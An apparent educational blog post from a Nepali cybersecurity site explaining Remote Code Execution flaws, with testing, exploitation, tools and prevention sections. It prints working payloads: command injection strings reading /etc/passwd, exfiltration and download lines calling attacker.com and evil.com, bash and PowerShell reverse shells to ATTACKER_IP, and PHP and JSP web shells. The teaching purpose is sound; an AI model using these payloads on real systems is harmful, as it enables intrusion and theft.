Skip to content
-
Learn Cybersecurity & Ethical Hacking in Nepal with CyberSamir — Start Learning →
Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
Close

Search

Subscribe
  • Facebook
  • Telegram
  • Instagram
  • Youtube
  • Linkedin
  • Whasapp
Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
Close

Search

Subscribe
  • Facebook
  • Telegram
  • Instagram
  • Youtube
  • Linkedin
  • Whasapp
Penetration testing

Remote Code Execution (RCE) Vulnerabilities Explained

By cybersamir
May 4, 2025 3 Min Read
Comments Off on Remote Code Execution (RCE) Vulnerabilities Explained

Remote Code Execution (RCE) Vulnerabilities Explained

The complete guide to understanding, finding, and preventing RCE flaws

⚠️ Legal Disclaimer: This guide is for educational purposes only. Unauthorized testing is illegal.

What is Remote Code Execution?

Remote Code Execution (RCE) is a vulnerability that allows attackers to execute arbitrary code on a target system or application. It represents the most severe class of security flaws because:

  • Provides complete control over the vulnerable system
  • Often leads to full system compromise
  • Can be used to pivot to other systems in the network
1
Vulnerable Input
Application accepts unsanitized user input in dangerous functions
2
Malicious Payload
Attacker crafts input containing executable code
3
Code Execution
Server processes input and executes attacker’s code
4
System Compromise
Attacker gains shell access or performs other malicious actions

Common RCE Vulnerability Types

1. Command Injection

Direct execution of system commands through vulnerable parameters:

; cat /etc/passwd
| id
`whoami`

2. Deserialization Attacks

Malicious object serialization leading to code execution:

Java, .NET, Python pickle objects

3. Server-Side Template Injection

Code execution through template engines:

{{7*7}}  → 49
${"ls".exec()}

4. File Inclusion Vulnerabilities

Including malicious files leading to code execution:

?page=http://evil.com/shell.txt
?load=php://filter/convert.base64-encode/resource=index.php

5. Buffer Overflows

Overwriting memory to control execution flow:

AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde

6. Expression Language Injection

Code execution through expression evaluation:

#{7*7}
${7*7}

Where to Find RCE Vulnerabilities

1. User Input Points

  • Form fields (search, contact forms)
  • File upload functionality
  • URL parameters
  • API endpoints

2. Dangerous Functions

Language Dangerous Functions
PHP exec(), system(), passthru(), eval(), preg_replace()
Python eval(), exec(), pickle.loads(), os.system()
Java Runtime.exec(), ProcessBuilder(), JNDI lookup
JavaScript eval(), Function(), setTimeout() with strings

Testing for RCE Vulnerabilities

1. Basic Testing Payloads

# Unix commands
; ls -la /
`id`
$(whoami)
| cat /etc/passwd

# Windows commands
& dir C:\
| type C:\Windows\win.ini
%SYSTEMROOT%\System32\calc.exe

2. Time-Based Detection

When blind, use time delays to confirm execution:

# Unix
; sleep 5
`sleep 5`
$(sleep 5)

# Windows
& timeout /t 5
| ping -n 5 127.0.0.1

3. Out-of-Band Detection

Use DNS or HTTP requests to confirm execution:

# Unix
; curl http://attacker.com/$(whoami)
`nslookup $(hostname).attacker.com`

# Windows
& nslookup %COMPUTERNAME%.attacker.com

Exploiting RCE Vulnerabilities

1. Getting a Reverse Shell

# Unix
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# Windows
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

2. File Upload RCE

When file uploads are allowed:

# PHP shell
<?php system($_GET['cmd']); ?>

# JSP shell
<%= Runtime.getRuntime().exec(request.getParameter("cmd")) %>

3. Deserialization Exploits

Using ysoserial for Java deserialization:

java -jar ysoserial.jar CommonsCollections5 'curl attacker.com/shell.sh | bash' > payload.ser

Tools for Finding RCE Vulnerabilities

Tool Purpose Command
Burp Suite Manual testing and scanning Active Scan, Intruder
Commix Automated command injection commix -u “http://example.com?input=test”
Ysoserial Java deserialization payloads java -jar ysoserial.jar [gadget] [command]
SQLmap SQLi to RCE via file operations sqlmap -u “http://example.com?id=1” –os-shell
Metasploit RCE exploit modules use exploit/multi/handler

Preventing RCE Vulnerabilities

1. Secure Coding Practices

  • Avoid using eval() and similar functions
  • Use safe alternatives to system commands
  • Implement proper input validation

2. Security Controls

  • Implement Web Application Firewalls (WAF)
  • Use parameterized APIs instead of string concatenation
  • Apply the principle of least privilege
Pro Tip: Use process whitelisting where possible, only allowing specific, approved commands to execute.

3. Runtime Protection

  • Disable dangerous functions in php.ini
  • Use Java Security Manager
  • Implement containerization with limited capabilities

Real-World RCE Examples

1. Log4Shell (CVE-2021-44228)

JNDI lookup vulnerability in Log4j allowing RCE through logged messages.

2. Apache Struts (CVE-2017-5638)

OGNL expression injection leading to RCE in file upload error handling.

3. PHP unserialize() Vulnerabilities

Numerous CMS vulnerabilities through unsafe object deserialization.

Conclusion

Remote Code Execution vulnerabilities represent the most critical web security risk because they provide complete system control to attackers, often lead to full network compromise, and can be chained with other vulnerabilities.

Remember: Defense-in-depth is crucial – combine secure coding, proper configuration, and runtime protections.

Further Resources

  • OWASP Code Injection
  • PayloadsAllTheThings RCE Collection
  • PortSwigger Command Injection
↑

Tags:

bug bountycode injectioncybersecurity threatsethical hackingkali linuxOWASP RCEpenetrationprevent RCE vulnerabilitiesRCE attacksRCE exploitRCE protectionremote code executionremote code execution exampleserver-side vulnerabilitiesweb application securitywhat is RCE
Author

cybersamir

Follow Me
Other Articles
Previous

5G vs. 4G: What’s the Difference and Why Does It Matter?

Next

Path Traversal Explained

Your ad here

300 x 250 banner slot

Reach Nepali students, developers, and security learners reading about ethical hacking, CTFs, and cyber news.

Book on WhatsApp Or send an email

Sponsors: VPNs, courses, hosting, security tools

Recent Posts

  • How to Recover Money from Online Scam Nepal: 2026 Guide
  • How to Check If Your Data Was Leaked (Nepal 2026 Guide)
  • Is PHP Dead? A 2026 Reckoning
  • Nepal Cyber Shield CTF: Top 10 Teams Qualified for the Grand Finale
  • How to Report Cybercrime in Nepal: Step-by-Step Guide (2026)

Nepal Cyber Shield 2026

Been scammed or hacked?

Act fast: save screenshots, don't delete chats, and report it.

  • 100 Nepal Police emergency line
  • +9779851286770 Nepal Police Cyber Bureau
Report here (Nepal Police) Read the step-by-step reporting guide

Money lost? Call your bank first so they can try to freeze the transfer.

Categories

  • Awareness
  • Blog
  • Career & Learning
  • Cybersecurity
  • Ethical Hacking
  • Nepal Tech & Digital Safety
  • News
  • Penetration testing
  • Tools & Reviews

Latest security alerts

  • pCloud Password Manager Hit by Cyber Attack Involving Email Address Exposure and Login Attempts
  • Suspected Vietnam-Linked Hackers Target Southeast Asia in South China Sea Espionage Campaign
  • Microsoft Store App Found Delivering Vinci RAT Capable of Remote System Control
  • How to Keep Your Security Picture Current When Attackers Move at AI Speed
  • Hackers Trojanize Official Q-Dir and DesktopOK Downloads to Deliver Remote Access Malware
  • Nepal's Digital Systems Under Siege: Cyber Attacks Target Government and Private Sectors - Ratopati
  • Stock Market Trading Halted Due to Cyber Attack on Data Center - Ratopati
  • NEPSE’s ‘technical glitch’ was a ransomware attack. What happened? - OnlineKhabar English News
  • Nepal’s stock market has a bigger problem than a ransomware attack: Everything you need to know - Nepalnews.com
  • Nepal stock market halted after ransomware attack disrupts 72 brokers - The Star

You May Have Missed

how to recover money from online scam Nepal
Awareness

How to Recover Money from Online Scam Nepal: 2026 Guide

cybersamir
By cybersamir
November 28, 2026
data leak check nepal
Awareness

How to Check If Your Data Was Leaked (Nepal 2026 Guide)

cybersamir
By cybersamir
November 26, 2026
Cinematic PHP programming thumbnail with the headline “Is PHP Dead? 2026 Reckoning,” a glowing blue PHP elephant, and CyberSamir branding.
Awareness

Is PHP Dead? A 2026 Reckoning

cybersamir
By cybersamir
October 25, 2026
ctf top 10 selected teams
News

Nepal Cyber Shield CTF: Top 10 Teams Qualified for the Grand Finale

cybersamir
By cybersamir
October 4, 2026
How to report cybercrime in Nepal Cyber Bureau complaint guide
Awareness

How to Report Cybercrime in Nepal: Step-by-Step Guide (2026)

cybersamir
By cybersamir
September 27, 2026
Nepal Data Breach: 462,600 Citizens' IDs Allegedly Leaked," subtext "Dark web forum post claims mass PII theft from a .gov.np portal
News

Nepal Government Portal Allegedly Breached: 462,600 Citizens’ Data Reportedly Listed for Sale on Dark Web

cybersamir
By cybersamir
September 24, 2026
Cybersecurity

Top 10 Security Mistakes Nepali Websites Still Make in 2026

cybersamir
By cybersamir
September 23, 2026
News Cybersecurity

Nepal Data Hub Ransomware Attack: NEPSE Shutdown Explained

cybersamir
By cybersamir
September 23, 2026
News

Nepal Cyber Shield 2026: Everything You Need to Know About Nepal’s National CTF Championship

cybersamir
By cybersamir
September 19, 2026
CS

CYBERSAMIR

Explore. Hack. Secure. Learn.

About Us

CyberSamir provides cutting-edge insights into ethical hacking, penetration testing, and cybersecurity defense strategies for professionals and enthusiasts alike.

500+ Articles
15K+ Members
30+ Tools

Resources

  • Tutorials
  • Our Services
  • Tools
  • CTF Walkthroughs
  • Security News

Community

  • WhatsApp Group
  • Discord Server
  • Telegram Group
  • Upcoming Events
  • Certifications

Follow Us

Cyber Security Events Worldwide

© CyberSamir. All Rights Reserved.

Copyright 2026 — Cyber Samir. All rights reserved. Blogsy WordPress Theme